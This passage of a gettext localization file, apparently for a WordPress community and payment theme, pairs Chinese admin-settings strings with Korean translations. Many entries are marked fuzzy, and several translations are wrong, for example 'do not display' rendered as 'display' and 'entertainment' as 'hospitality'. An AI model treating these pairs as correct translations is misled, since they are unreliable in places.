#: Modules/Settings/Taxonomies.php:361 Modules/Settings/Template.php:1124
#: Modules/Templates/Modules/Posts.php:817
#: Modules/Templates/Widgets/HotInfomation.php:69
#: Modules/Templates/Widgets/Post.php:86 Pages/gold.php:65
msgid "时间"
msgstr "시간"

#: Modules/Settings/CashOutListTable.php:112
msgid "手续费"
msgstr "현금 인출시 %s의 수수료를 공제합니다."

#: Modules/Settings/Circle.php:51 Modules/Settings/Taxonomies.php:360
#: Modules/Settings/Template.php:1123 Modules/Templates/Modules/Posts.php:836
msgid "作者"
msgstr "저자"

#: Modules/Settings/Circle.php:154
#, fuzzy, php-format
msgid "%s基本设置"
msgstr "기본 서클 설정"

#: Modules/Settings/Circle.php:164 Modules/Settings/Circle.php:176
#: Modules/Settings/Circle.php:384 Modules/Settings/Circle.php:396
#: Modules/Settings/Circle.php:408 Modules/Settings/Distribution.php:61
#: Modules/Settings/Document.php:158 Modules/Settings/Filter.php:43
#: Modules/Settings/Invitation.php:185 Modules/Settings/Newsflashes.php:78
#: Modules/Settings/Newsflashes.php:163 Modules/Settings/Normal.php:278
#: Modules/Settings/Normal.php:291 Modules/Settings/Normal.php:730
#: Modules/Settings/Normal.php:859 Modules/Settings/Normal.php:871
#: Modules/Settings/Normal.php:891 Modules/Settings/Normal.php:1284
#: Modules/Settings/Normal.php:1298 Modules/Settings/Normal.php:1337
#: Modules/Settings/Normal.php:1370 Modules/Settings/Normal.php:1394
#: Modules/Settings/Normal.php:1408 Modules/Settings/Normal.php:1439
#: Modules/Settings/Normal.php:1470 Modules/Settings/Normal.php:2041
#: Modules/Settings/Normal.php:2114 Modules/Settings/Normal.php:2228
#: Modules/Settings/Normal.php:2843 Modules/Settings/Normal.php:2917
#: Modules/Settings/Normal.php:2959 Modules/Settings/Normal.php:2970
#: Modules/Settings/Normal.php:2981 Modules/Settings/Normal.php:2992
#: Modules/Settings/Normal.php:3003 Modules/Settings/Normal.php:3014
#: Modules/Settings/Normal.php:3025 Modules/Settings/Normal.php:3036
#: Modules/Settings/Normal.php:3047 Modules/Settings/Normal.php:3058
#: Modules/Settings/Normal.php:3069 Modules/Settings/Normal.php:3080
#: Modules/Settings/Normal.php:3091 Modules/Settings/Normal.php:3102
#: Modules/Settings/Normal.php:3113 Modules/Settings/Normal.php:3124
#: Modules/Settings/Normal.php:3135 Modules/Settings/Post.php:312
#: Modules/Settings/Post.php:633 Modules/Settings/Shop.php:104
#: Modules/Settings/Shop.php:115 Modules/Settings/Taxonomies.php:58
#: Modules/Settings/Template.php:290 Modules/Settings/Template.php:409
#: Modules/Settings/Template.php:518 Modules/Settings/Template.php:531
#: Modules/Settings/Template.php:1430 Modules/Settings/Template.php:1442
#: Modules/Settings/Template.php:1454 Modules/Settings/Template.php:1520
#: Modules/Settings/Template.php:1582 Modules/Settings/Template.php:1707
#: Modules/Settings/Template.php:1795
msgid "开启"
msgstr "켜다"

#: Modules/Settings/Circle.php:167
#, fuzzy, php-format
msgid "创建%s的权限，请前往%s用户设置%s进行设置"
msgstr ""
"서클을 만들 수있는 권한입니다.  %s 사용자 설정  %s로 이동하여 설정하십시오."

#: Modules/Settings/Circle.php:172
#, fuzzy
#| msgid "是否允许用户投稿"
msgid "是否允许用户在广场发帖"
msgstr "사용자의 기여 허용 여부"

#: Modules/Settings/Circle.php:179
#, php-format
msgid ""
"如果关闭，用户无法在广场发帖，并且广场发帖的位置会显示%s选择。（管理员不受限"
"制，如果查看效果，请前台使用非管理员账户登录）"
msgstr ""
"이 기능을 끄면 사용자는 광장에 글을 올릴 수 없으며, 광장 글쓰기 위치에 %s 선"
"택 항목이 표시됩니다. (관리자는 제한되지 않으며, 효과를 보려면 프런트 데스크"
"에서 관리자 이외의 계정으로 로그인하세요.)"

#: Modules/Settings/Circle.php:197
#, fuzzy, php-format
msgid "广场顶部要显示的%s分类"
msgstr "홈페이지에 표시되는 문서 분류"

#: Modules/Settings/Circle.php:199
#, fuzzy, php-format
#| msgid ""
#| "如果上面设置了不允许用户在广场发帖，则默认发帖的位置会显示一些%s分类，请选"
#| "择要显示哪些%s分类"
msgid ""
"如果上面设置了不允许用户在广场发帖，则默认发帖的位置会显示一些%s分类，请选择"
"要显示哪些%s分类。（管理员不受限制，如果查看效果，请前台使用非管理员账户登"
"录）"
msgstr ""
"위의 설정으로 사용자가 사각형에 글을 올릴 수 없는 경우 기본 글 게시 위치에는 "
"일부 %s 카테고리가 표시되므로 표시할 %s 카테고리를 선택하세요."

#: Modules/Settings/Circle.php:205 Modules/Settings/Shop.php:122
#, fuzzy, php-format
msgid "%sSEO标题"
msgstr "SEO 제목"

#: Modules/Settings/Circle.php:212
#, fuzzy, php-format
msgid "%s首页SEO关键词"
msgstr "홈페이지 SEO 키워드"

#: Modules/Settings/Circle.php:213
#, fuzzy, php-format
msgid ""
"%s首页SEO关键词，多个关键词请用英文的逗号隔开，一般显示在页面标签内，做SEO用"
msgstr ""
"서클 홈페이지의 SEO 키워드입니다. 여러 키워드는 영문 쉼표로 구분하세요. 일반"
"적으로 SEO 목적을 위해 페이지 태그에 표시됩니다."

#: Modules/Settings/Circle.php:220
#, fuzzy, php-format
msgid "%s首页SEO描述，一般显示在页面标签内，做SEO用"
msgstr ""
"일반적으로 SEO에 사용되는 페이지 태그에 표시되는 서클 홈페이지의 SEO 설명"

#: Modules/Settings/Circle.php:226
msgid "每页显示多少个话题"
msgstr "각 페이지에 표시되는 주제 수"

#: Modules/Settings/Circle.php:227
#, fuzzy, php-format
msgid "%s中每页显示多少个话题"
msgstr "각 페이지에 표시되는 주제 수"

#: Modules/Settings/Circle.php:234 functions.php:759 functions.php:760
#: functions.php:769
#, php-format
msgid "%s标签"
msgstr "%s 태그"

#: Modules/Settings/Circle.php:235
#, fuzzy, php-format
msgid ""
"用户在创建%s的时候需要选择该%s属于哪个标签，方便%s的分类管理。每个标签占一"
"行，比如:%s%s"
msgstr ""
"서클을 만들 때 사용자는 서클의 분류 관리를 용이하게하기 위해 서클이 속한 레이"
"블을 선택해야합니다. 각 레이블은 다음과 같은 한 줄을 차지합니다.  %s  %s"

#: Modules/Settings/Circle.php:235
msgid "经济"
msgstr "간결한"

#: Modules/Settings/Circle.php:235
msgid "生活"
msgstr "생명"

#: Modules/Settings/Circle.php:235
msgid "投资"
msgstr "투자"

#: Modules/Settings/Circle.php:235
msgid "人文"
msgstr "인문학"

#: Modules/Settings/Circle.php:235
msgid "情感"
msgstr "감정"

#: Modules/Settings/Circle.php:235
msgid "娱乐"
msgstr "환대"

#: Modules/Settings/Circle.php:235
msgid "科技"
msgstr "과학 기술"

#: Modules/Settings/Circle.php:248
msgid "话题权限全局设置"
msgstr "주제 게시 권한 설정"

#: Modules/Settings/Circle.php:299
#, fuzzy, php-format
msgid "如果需要单独给某个%s设置权限，请前往中设置%s"
msgstr ""
"서클에 대한 권한을 개별적으로 설정해야하는 경우 설정 %s으로 이동하세요."

#: Modules/Settings/Circle.php:299
#, fuzzy, php-format
msgid "%s设置->点击编辑某个%s->帖子权限设置"
msgstr "서클 설정-> 클릭하여 서클 수정-> 게시 권한 설정"

#: Modules/Settings/Circle.php:300
msgid "话题排序方式"
msgstr "정렬 기준"

#: Modules/Settings/Circle.php:304
msgid "根据权重算法排序"
msgstr "가중치 알고리즘으로 정렬"

#: Modules/Settings/Circle.php:305
msgid "根据帖子发布时间排序"
msgstr "게시 시간순으로 정렬"

#: Modules/Settings/Circle.php:308
msgid ""
"根据权重算法排序论是帖子的发布时间、点赞、点踩、评论等多维数据来排序，其中帖"
"子发布时间为主要影响因子。根据帖子发布时间排序则为传统的根据帖子发布时间排序"
"的方式"
msgstr ""
"가중치 알고리즘 정렬 이론에 따르면 게시물은 게시 시간, 좋아요, 싫어요 및 댓글"
"과 같은 다차원 데이터에 따라 정렬되며 그 중 게시물 게시 시간이 주요 영향 요인"
"입니다. 게시물의 게시 시간에 따라 정렬하는 것은 게시물의 게시 시간에 따라 정"
"렬하는 전통적인 방식입니다."

#: Modules/Settings/Circle.php:312
msgid "话题发布之后多长时间内允许删除或编辑"
msgstr "주제가 게시 된 후, 삭제 또는 편집이 허용되는 기간"

#: Modules/Settings/Circle.php:316
#, fuzzy, php-format
msgid ""
"话题发布之后多长时间内允许用户自己删除或编辑，此处同时对编辑文章、编辑%s问答"
"答案、删除评论有效。请直接填写数字，单位是分钟（如果话题处于待审状态，则没有"
"时间限制）"
msgstr ""
"주제가 게시 된 후 사용자가 직접 삭제 또는 편집 할 수있는 기간 (분 단위)을 직"
"접 입력하십시오 (주제가 검토 대기중인 경우 시간 제한 없음)."

#: Modules/Settings/Circle.php:320
msgid "超过多少个待审话题之后不允许再发布话题"
msgstr "검토 할 주제 수 이후에는 더 이상 주제를 게시 할 수 없습니다."

#: Modules/Settings/Circle.php:324
#, fuzzy, php-format
msgid "%s中发布了超过多少个待审话题后，不允许再发布话题。"
msgstr ""
"검토 할 주제 수가 서클에 게시 된 후에는 더 이상 주제가 허용되지 않습니다."

#: Modules/Settings/Circle.php:339
msgid "哪些用户组允许发布提问"
msgstr "질문을 게시 할 수있는 사용자 그룹"

#: Modules/Settings/Circle.php:342
#, fuzzy, php-format
msgid "创建话题和%s的权限，请前往%s用户设置%s进行设置"
msgstr "주제 생성 권한입니다.  %s 사용자 설정  %s로 이동하여 설정하십시오."

#: Modules/Settings/Circle.php:344
msgid "全部取消选择，则关闭提问功能"
msgstr "질문 기능을 닫으려면 모두 선택 취소"

#: Modules/Settings/Circle.php:348
msgid "哪些用户组允许发起投票"
msgstr "투표를 시작할 수있는 사용자 그룹"

#: Modules/Settings/Circle.php:352
msgid "全部取消选择，则关闭投票功能"
msgstr "투표를 끄려면 모두 선택 취소"

#: Modules/Settings/Circle.php:356
msgid "哪些用户组允许发起你猜"
msgstr "추측을 시작할 수있는 사용자 그룹"

#: Modules/Settings/Circle.php:360
msgid "全部取消选择，则关闭你猜功能"
msgstr "추측 기능을 끄려면 모두 선택 취소"

#: Modules/Settings/Circle.php:364
msgid "哪些用户组允许插入卡片"
msgstr "카드 삽입이 허용 된 사용자 그룹"

#: Modules/Settings/Circle.php:368
msgid "全部取消选择，则关闭插入卡片功能"
msgstr "카드 삽입 기능을 끄려면 모두 선택 취소"

#: Modules/Settings/Circle.php:372
msgid "允许哪些用户组直接发帖，不用审核"
msgstr "검토없이 직접 게시 할 수있는 사용자 그룹"

#: Modules/Settings/Circle.php:376
msgid ""
"如果这些用户组有发帖权限，选中后将不用审核帖子内容，直接发布状态，未选中的用"
"户组发帖之后需要群主审核方可显示"
msgstr ""
"이러한 사용자 그룹에 게시 권한이있는 경우 선택한 후 게시물의 내용을 검토 할 "
"필요가 없으며 상태가 직접 게시됩니다. 사용자 그룹을 선택하지 않은 경우 그룹 "
"소유자가 검토 한 후 표시됩니다."

#: Modules/Settings/Circle.php:380
msgid "是否开启图片上传功能"
msgstr "이미지 업로드 기능을 열지 여부"

#: Modules/Settings/Circle.php:388
#, php-format
msgid "开启的同时需要给当前用户允许上传图片的权限%s"
msgstr "동시에 현재 사용자에게 사진  %s 업로드 권한을 부여해야합니다."

#: Modules/Settings/Circle.php:392
msgid "是否开启视频上传功能"
msgstr "동영상 업로드 기능 활성화 여부"

#: Modules/Settings/Circle.php:400
#, php-format
msgid "开启的同时需要给当前用户允许上传视频的权限%s"
msgstr "동시에 현재 사용자에게 동영상 업로드 권한을 부여해야합니다  %s"

#: Modules/Settings/Circle.php:404
msgid "是否开启文件上传功能"
msgstr "파일 업로드 기능 활성화 여부"

#: Modules/Settings/Circle.php:412
#, php-format
msgid "开启的同时需要给当前用户允许上传文件的权限%s"
msgstr ""
"동시에 현재 사용자에게  %s 파일을 업로드 할 수있는 권한을 부여해야합니다."

#: Modules/Settings/Circle.php:416
msgid "话题文字限制多少个字"
msgstr "주제 텍스트 제한은 몇 단어입니까?"

#: Modules/Settings/Circle.php:420
msgid ""
"请使用5-250这种形式，5是最小字数限制，250是最大字数限制，用户输入的话题文字不"
"能少于5个文字，不能大于250个文字"
msgstr ""
"5-250 형식을 사용하세요. 5는 최소 단어 제한, 250은 최대 단어 제한, 사용자가 "
"입력 한 주제 텍스트는 5 자 이상 250 자 이하일 수 있습니다."

#: Modules/Settings/Circle.php:424
msgid "最多上传图片多少张"
msgstr "최대 몇 장의 사진을 업로드 할 수 있습니까?"

#: Modules/Settings/Circle.php:428
msgid "一个话题最多上传多少张图片，建议5张以内"
msgstr ""
"한 주제에 몇 장의 사진을 업로드 할 수 있는지, 5 장 이하의 사진을 올리는 것이 "
"좋습니다."

#: Modules/Settings/Circle.php:432
msgid "最多上传视频多少个"
msgstr "최대 업로드 할 수있는 동영상 수"

#: Modules/Settings/Circle.php:436
msgid "一个话题最多上传多少个视频，建议3个以内"
msgstr ""
"주제에 대해 최대 몇 개의 동영상을 업로드 할 수 있으며 3 개 미만을 제안합니다."

#: Modules/Settings/Circle.php:440
msgid "最多上传文件多少个"
msgstr "최대 업로드 할 수있는 파일 수"

#: Modules/Settings/Circle.php:444
msgid "一个话题最多上传多少个附件，建议5个以内"
msgstr "주제에 업로드 할 수있는 첨부 파일 수는 5 개 이내가 좋습니다."

#: Modules/Settings/Circle.php:448
msgid "最多插入卡片多少个"
msgstr "최대 몇 장의 카드를 삽입 할 수 있습니까?"

#: Modules/Settings/Circle.php:452
msgid "一个话题最多插入多少个卡片，建议3个以内"
msgstr "주제에 최대 몇 개의 카드를 삽입 할 수 있는지, 3 개 이하가 권장됩니다."

#: Modules/Settings/Circle.php:456
msgid "哪些用户组允许设置登录可见"
msgstr "로그인 가시성을 설정할 수있는 사용자 그룹"

#: Modules/Settings/Circle.php:460
msgid "选中的用户组发布话题的时候可以设置登录可见"
msgstr ""
"선택한 사용자 그룹이 주제를 게시하면 로그인 가시성을 설정할 수 있습니다."

#: Modules/Settings/Circle.php:464
msgid "哪些用户组允许设置评论可见"
msgstr "댓글이 표시되도록 설정할 수있는 사용자 그룹"

#: Modules/Settings/Circle.php:468
msgid "选中的用户组发布话题的时候可以设置评论可见"
msgstr ""
"선택한 사용자 그룹이 주제를 게시하면 댓글이 표시되도록 설정할 수 있습니다."

#: Modules/Settings/Circle.php:472
msgid "哪些用户组允许设置积分可见"
msgstr "표시 할 포인트를 설정할 수있는 사용자 그룹"

#: Modules/Settings/Circle.php:476
msgid "选中的用户组发布话题的时候可以设置支付积分可见"
msgstr ""
"선택한 사용자 그룹이 주제를 게시하면 결제 포인트가 표시되도록 설정할 수 있습"
"니다."

#: Modules/Settings/Circle.php:480
msgid "哪些用户组允许设置付费可见"
msgstr "유료 가시성을 설정할 수있는 사용자 그룹"

#: Modules/Settings/Circle.php:484
msgid "选中的用户组发布话题的时候可以设置支付费用可见"
msgstr ""
"선택한 사용자 그룹이 주제를 게시하면 결제 수수료가 표시되도록 설정할 수 있습"
"니다."

#: Modules/Settings/Circle.php:488
msgid "哪些用户组允许设置分组可见"
msgstr "그룹 가시성을 설정할 수있는 사용자 그룹"

#: Modules/Settings/Circle.php:492
msgid "选中的用户组发布话题的时候可以设置只允许某些用户组可见"
msgstr ""
"선택한 사용자 그룹이 주제를 게시 할 때 특정 사용자 그룹 만 표시되도록 설정할 "
"수 있습니다."

#: Modules/Settings/Circle.php:501
#, php-format
msgid "重建%s数据"
msgstr "%s 데이터 재구축"

#: Modules/Settings/Circle.php:506
msgid "重建"
msgstr "재건"

#: Modules/Settings/Circle.php:511
#, fuzzy, php-format
msgid "请输入需要重建的%sID"
msgstr "다시 작성해야하는 서클 ID를 입력하세요."

#: Modules/Settings/Circle.php:514
#, fuzzy, php-format
msgid ""
"如果您编辑了某个%s的加入权限或者修改了帖子的排序方式，请在这里重建一下%s数"
"据，注意，如果这个%s里面的帖子比较多（超过1万条），请将%sphp的超时时间%s"
"与%sPHP脚本内存限制改大一些%s"
msgstr ""
"서클의 액세스 권한을 수정 한 경우 여기에서 다음 서클 데이터를 다시 작성하세"
"요.이 서클에 게시물이 많으면 (10,000 개 이상),  %sphp의 타임 아웃 시간과 메모"
"리를 % 늘리십시오. 에스"

#: Modules/Settings/Circle.php:520
msgid "数据重建成功。"
msgstr "데이터 재구성이 성공했습니다."

#: Modules/Settings/Config.php:100 Modules/Settings/Normal.php:207
#, php-format
msgid "请前往%s购买卡密，然后回到此处进行充值"
msgstr "%s로 이동하여 카드 암호를 구입 한 다음 여기로 돌아와 재충전하십시오."

#: Modules/Settings/Config.php:162 Modules/Settings/Template.php:128
msgid "点点赞赏，手留余香"
msgstr "약간의 감사, 여운 향기를 남겨"

#: Modules/Settings/Config.php:163 Modules/Settings/Template.php:129
msgid "还没有人赞赏，快来当第一个赞赏的人吧！"
msgstr "아무도 아직 감사하지 않았습니다. 와서 첫 번째가 되십시오!"

#: Modules/Settings/Config.php:237 Modules/Settings/Infomation.php:229
msgid "这是一个描述信息"
msgstr "설명 메시지입니다"

#: Modules/Settings/CouponListTable.php:29
#: Modules/Settings/CouponListTable.php:35
#: Modules/Settings/CouponListTable.php:47
#: Modules/Settings/CouponListTable.php:59
#: Modules/Settings/CouponListTable.php:68 Modules/Settings/Infomation.php:196
#: Modules/Settings/Post.php:110 Modules/Settings/Post.php:405
#: Pages/write.php:592
msgid "无限制"
msgstr "무제한"

#: Modules/Settings/CouponListTable.php:31
msgid "有效"
msgstr "유효한"

#: Modules/Settings/CouponListTable.php:31 Modules/Settings/Infomation.php:203
msgid "过期"
msgstr "만료 됨"

#: Modules/Settings/CouponListTable.php:37 Modules/Settings/Infomation.php:484
#: Modules/Templates/Footer.php:545 Modules/Templates/Widgets/Mission.php:220
#: Pages/mission.php:28 Pages/mission.php:79 Pages/po-infomation.php:65
#: Pages/po-infomation.php:86 Pages/vips.php:45 functions.php:3376
#: functions.php:3380 functions.php:3383 functions.php:3417
msgid "天"
msgstr "일"

#: Modules/Settings/CouponListTable.php:127
#: Modules/Templates/Widgets/Coupon.php:53
msgid "优惠劵ID"
msgstr "할인쿠폰 ID:"

#: Modules/Settings/CouponListTable.php:129
msgid "领取过期时间"
msgstr "청구 만료 시간"

#: Modules/Settings/CouponListTable.php:130
msgid "使用过期时间"
msgstr "만료 시간 사용"

#: Modules/Settings/CouponListTable.php:131
msgid "允许领取用户组"
msgstr "사용자 그룹 수신 허용"

#: Modules/Settings/CouponListTable.php:132 Modules/Settings/Shop.php:387
msgid "允许使用的商品分类"
msgstr "허용되는 제품 카테고리"

#: Modules/Settings/CouponListTable.php:133
msgid "允许使用的商品"
msgstr "허용되는 제품"

#: Modules/Settings/CustomPay.php:13
msgid "支付设置"
msgstr "결제 설정"

#: Modules/Settings/CustomPay.php:32 Modules/Templates/VueTemplates.php:539
msgid "支付金额"
msgstr "결제 금액"

#: Modules/Settings/CustomPay.php:35
msgid ""
"如果是固定金额，或者需要用户选择支付金额，请将金额填到此处，每个金额占一行。"
"请直接填写数字。"
msgstr ""
"고정 금액이거나 사용자가 지불 금액을 선택해야 하는 경우 여기에 금액을 한 줄"
"에 각 금액을 입력하십시오. 숫자를 직접 입력하세요."

#: Modules/Settings/CustomPay.php:36
msgid "如果需要用户自己输入金额，请将此处留空。"
msgstr "사용자가 금액을 직접 입력해야 하는 경우 이 항목을 비워 둡니다."

#: Modules/Settings/CustomPay.php:40
#, fuzzy
msgid "是否开启金额关联"
msgstr "필터링 활성화 여부"

#: Modules/Settings/CustomPay.php:48 Modules/Settings/CustomPay.php:80
#, fuzzy
msgid ""
"支付金额与某个自定义表单字段（单选）联动，可以实现类似于“月付”、“季付”、“年"
"付”等自定义支付。"
msgstr ""
"결제 금액은 사용자 정의 양식 필드(단일 선택)와 연결되어 \"월별 지불\", \"분기"
"별 지불\", \"연간 지불\"과 같은 사용자 정의 지불을 실현할 수 있습니다."

#: Modules/Settings/CustomPay.php:49
#, fuzzy
msgid "金额的个数必须与该自定义表单字段的待选值一致。"
msgstr "금액 수는 이 사용자 정의 양식 필드에 대해 선택할 값과 동일해야 합니다."

#: Modules/Settings/CustomPay.php:77
#, fuzzy
msgid "金额关联字段"
msgstr "금액 관련 필드"

#: Modules/Settings/CustomPay.php:81
#, fuzzy
msgid "请输入“自定义表单”的某个自定义表单key"
msgstr "\"사용자 정의 양식\"에 대한 사용자 정의 양식 키를 입력하십시오."

#: Modules/Settings/CustomPay.php:85
#, fuzzy
msgid "开放支付时间模式"
msgstr "결제 시간 모드 열기"

#: Modules/Settings/CustomPay.php:90
#, fuzzy
msgid "限定时间范围"
msgstr "시간 제한"

#: Modules/Settings/CustomPay.php:132
#, fuzzy
msgid "开始时间"
msgstr "시작 시간"

#: Modules/Settings/CustomPay.php:138
#, fuzzy
msgid "结束时间"
msgstr "종료 시간"

#: Modules/Settings/CustomPay.php:144
#, fuzzy
msgid "未开始的文字提示"
msgstr "시작되지 않은 텍스트 프롬프트"

#: Modules/Settings/CustomPay.php:147
#, fuzzy, php-format
msgid "可以使用%s来代替上面选择的“开始时间”"
msgstr "위에서 선택한 '시작 시간' 대신 %s을(를) 사용할 수 있습니다."

#: Modules/Settings/CustomPay.php:148
#, fuzzy
msgid "活动将于{{start_time}}准时开始，感谢关注！"
msgstr ""
"이벤트는 정시에 {{start_time}}에 시작됩니다. 많은 관심을 가져주셔서 감사합니"
"다!"

#: Modules/Settings/CustomPay.php:152
#, fuzzy
msgid "已结束的文字提示"
msgstr "종료된 문자 알림"

#: Modules/Settings/CustomPay.php:155
#, fuzzy
msgid "活动已结束，感谢关注本次活动！"
msgstr "이벤트가 종료되었습니다. 이벤트에 많은 관심 부탁드립니다!"

#: Modules/Settings/CustomPay.php:159
msgid "支付成功以后PHP的回调方法"
msgstr "결제 성공 후 PHP 콜백 메소드"

#: Modules/Settings/CustomPay.php:162
#, php-format
msgid ""
"支付成功以后您可以使用钩子处理支付后的逻辑，也可以这里直接填写支付成功以后要"
"执行的函数，具体方法请参考%s自定义支付使用教程%s"
msgstr ""
"결제 성공 후 Hook을 이용하여 결제 후 로직을 처리하거나, 결제 성공 후 실행할 "
"함수를 직접 입력할 수 있습니다. 자세한 내용은 %s맞춤 결제 튜토리얼%s을 참고하"
"세요. }"

#: Modules/Settings/CustomPay.php:166
msgid "自定义表单"
msgstr "사용자 정의 양식"

#: Modules/Settings/CustomPay.php:170
msgid "自定义表单{#}"
msgstr "사용자 정의 양식 {#}"

#: Modules/Settings/CustomPay.php:171
msgid "添加新的自定义表单"
msgstr "새 사용자 정의 필드 추가"

#: Modules/Settings/CustomPay.php:175
msgid "确定要删除这个自定义表单吗？"
msgstr "이 사용자 정의 필드를 삭제 하시겠습니까?"

#: Modules/Settings/CustomPay.php:180
msgid "自定义表单名称"
msgstr "사용자 정의 양식 이름"

#: Modules/Settings/CustomPay.php:183
#, php-format
msgid "提示用户要设置的是什么，比如：%s国籍%s"
msgstr "사용자에게 무엇을 설정할지 묻습니다. 예 :  %s fruit  %s"

#: Modules/Settings/CustomPay.php:187
msgid "自定义表单key"
msgstr "사용자 정의 양식 키"

#: Modules/Settings/CustomPay.php:190
#, fuzzy, php-format
msgid ""
"请使用英文，%s并且唯一，不能和其他表单名称相同%s。比如%scountry%s（国籍的英文"
"名称）"
msgstr ""
"영어(%s)를 사용하고 고유하며 다른 형식 이름(%s)과 같을 수 없습니다. 예: "
"%scountry%(국적의 영어 이름)"

#: Modules/Settings/CustomPay.php:194 Modules/Settings/Links.php:261
#: Modules/Settings/Normal.php:1974 Modules/Settings/Taxonomies.php:916
#: Modules/Settings/Template.php:688 Pages/gold.php:77 Pages/requests.php:62
msgid "描述"
msgstr "설명"

#: Modules/Settings/CustomPay.php:197
#, php-format
msgid "向用户说明这个选项如何使用，比如：%s请选择您的国籍%s"
msgstr ""
"사용자에게이 옵션을 사용하는 방법 (예 :  %s)을 설명하십시오. 좋아하는 과일을 "
"선택하십시오  %s"

#: Modules/Settings/CustomPay.php:201
msgid "是否必填"
msgstr "필수인가요?"

#: Modules/Settings/CustomPay.php:205 Modules/Settings/Invitation.php:172
msgid "必填"
msgstr "필수"

#: Modules/Settings/CustomPay.php:212
msgid "是否在支付结果中显示该项目"
msgstr "결제 결과에 이 항목을 표시할지 여부"

#: Modules/Settings/CustomPay.php:216 Modules/Settings/Links.php:208
#: Modules/Settings/Normal.php:1602 Modules/Settings/Post.php:267
#: Modules/Settings/Post.php:282 Modules/Settings/Post.php:296
#: Modules/Settings/Shop.php:181 Modules/Settings/Taxonomies.php:863
#: Modules/Settings/Template.php:635 Modules/Settings/Template.php:864
#: Modules/Settings/Template.php:1143 Modules/Settings/Template.php:1569
#: Modules/Settings/Template.php:1595 Modules/Settings/Template.php:1607
#: Modules/Settings/Template.php:2047 Modules/Settings/Template.php:2126
#: Modules/Settings/Template.php:2168 Modules/Settings/Template.php:2287
#: Modules/Settings/Template.php:2298 Modules/Settings/Template.php:2309
#: Modules/Settings/Template.php:2320 Modules/Settings/Template.php:2331
#: Modules/Settings/Template.php:2341 Modules/Templates/Widgets/About.php:93
#: Modules/Templates/Widgets/Ask.php:77 Modules/Templates/Widgets/Author.php:64
#: Modules/Templates/Widgets/Bookmark.php:69
#: Modules/Templates/Widgets/Bookmark.php:107
#: Modules/Templates/Widgets/CircleInfo.php:67
#: Modules/Templates/Widgets/Comment.php:70
#: Modules/Templates/Widgets/Coupon.php:65
#: Modules/Templates/Widgets/CreditTop.php:70
#: Modules/Templates/Widgets/Download.php:49
#: Modules/Templates/Widgets/HotCircle.php:63
#: Modules/Templates/Widgets/HotInfomation.php:93
#: Modules/Templates/Widgets/Html.php:63 Modules/Templates/Widgets/Links.php:72
#: Modules/Templates/Widgets/Mission.php:55
#: Modules/Templates/Widgets/Newsflashes.php:88
#: Modules/Templates/Widgets/Post.php:121
#: Modules/Templates/Widgets/Products.php:101
#: Modules/Templates/Widgets/RecommendedCircle.php:64
#: Modules/Templates/Widgets/Team.php:63
#: Modules/Templates/Widgets/Tocbot.php:55
#: Modules/Templates/Widgets/User.php:55
msgid "显示"
msgstr "디스플레이"

#: Modules/Settings/CustomPay.php:217 Modules/Settings/Links.php:209
#: Modules/Settings/Normal.php:1603 Modules/Settings/Taxonomies.php:864
#: Modules/Settings/Template.php:636 Modules/Templates/Widgets/Bookmark.php:70
msgid "不显示"
msgstr "디스플레이"

#: Modules/Settings/CustomPay.php:223 Modules/Settings/Normal.php:1981
msgid "表单形式"
msgstr "형태"

#: Modules/Settings/CustomPay.php:227 Modules/Settings/Normal.php:1985
msgid "单行文本"
msgstr "한 줄 텍스트"

#: Modules/Settings/CustomPay.php:228 Modules/Settings/Normal.php:1986
msgid "多行文本"
msgstr "여러 줄 문자"

#: Modules/Settings/CustomPay.php:229 Modules/Settings/Normal.php:1987
#: TempParts/circle/circle-form.php:324
#: TempParts/circle/circle-topic-content.php:313
msgid "单选"
msgstr "단일 선택"

#: Modules/Settings/CustomPay.php:230 Modules/Settings/Normal.php:1988
#: TempParts/circle/circle-form.php:325
#: TempParts/circle/circle-topic-content.php:280
msgid "多选"
msgstr "다중 선택"

#: Modules/Settings/CustomPay.php:231
msgid "下拉选框"
msgstr "쓰러지 다"

#: Modules/Settings/CustomPay.php:237 Modules/Settings/Normal.php:1993
msgid "待选值"
msgstr "선택할 값"

#: Modules/Settings/CustomPay.php:240
#, fuzzy, php-format
msgid ""
"每组值占一行，请使用%schina=中国%s这种形式，%schina%s是存入数据库里的值（英文"
"的值方便查找与管理），%s中国%s是显示出来给用户看的。比如：%schina=中"
"国%samerica=美国%s"
msgstr ""
"각 값 그룹은 한 줄을 차지합니다. %schina=China%s 형식을 사용하십시오. "
"%schina%s는 데이터베이스에 저장된 값(영어 값은 찾고 관리하기 쉽습니다), {3 }"
"china%s가 사용자에게 표시됩니다. 예: %s중국=중국%s미국=미국%s"

#: Modules/Settings/CustomPay.php:244
msgid "允许上传的文件数量"
msgstr "허용되는 최대 파일 크기"

#: Modules/Settings/CustomPay.php:248
msgid "允许上传多少个文件"
msgstr "파일 업로드가 허용되는 수준은 무엇입니까?"

#: Modules/Settings/CustomPay.php:252
msgid "文件类型"
msgstr "파일 유형 오류"

#: Modules/Settings/CustomPay.php:255
msgid ""
"如果表单形式为文件，请在此输入允许上传的文件类型，每种类型之间使用英文逗号隔"
"开。"
msgstr ""
"양식이 파일인 경우 여기에 업로드할 수 있는 파일 형식을 쉼표로 구분하여 입력하"
"십시오."

#: Modules/Settings/CustomPay.php:257
msgid ""
"以下是wp默认的允许上传的文件类型。如果你需要上传的文件类型不在里面，请使用 "
"file upload types 插件开启某些文件类型的上传权限，再填到此处。"
msgstr ""
"다음은 wp가 업로드할 수 있는 기본 파일 형식입니다. 업로드해야 하는 파일 형식"
"이 포함되어 있지 않은 경우 파일 업로드 형식 플러그인을 사용하여 특정 파일 형"
"식에 대한 업로드 권한을 활성화한 다음 여기에 입력하세요."

#: Modules/Settings/CustomPay.php:267
msgid "自定义html"
msgstr "사용자 정의 HTML"

#: Modules/Settings/CustomPay.php:271
msgid "此内容会显示在支付说明中，支持 Html 和 php"
msgstr "이 콘텐츠는 결제 설명에 표시되며 Html 및 php를 지원합니다."

#: Modules/Settings/CustomPay.php:275
msgid "提交按钮的名称"
msgstr "제출 버튼 이름"

#: Modules/Settings/CustomPay.php:278
msgid "比如‘支付’、‘提交’、‘打赏’、‘支持’、‘捐助’等字眼"
msgstr "'지불', '제출', '포상', '지원', '기부' 등의 단어"

#: Modules/Settings/CustomPay.php:282
msgid "是否显示支付用户列表"
msgstr "로그인 표시 여부"

#: Modules/Settings/CustomPay.php:286
msgid "始终不显示"
msgstr "절대 보여주지 않는다"

#: Modules/Settings/CustomPay.php:287
msgid "始终显示全部"
msgstr "항상 모두 표시"

#: Modules/Settings/CustomPay.php:288
msgid "支付后显示全部"
msgstr "결제 후 모두 표시"

#: Modules/Settings/CustomPay.php:289
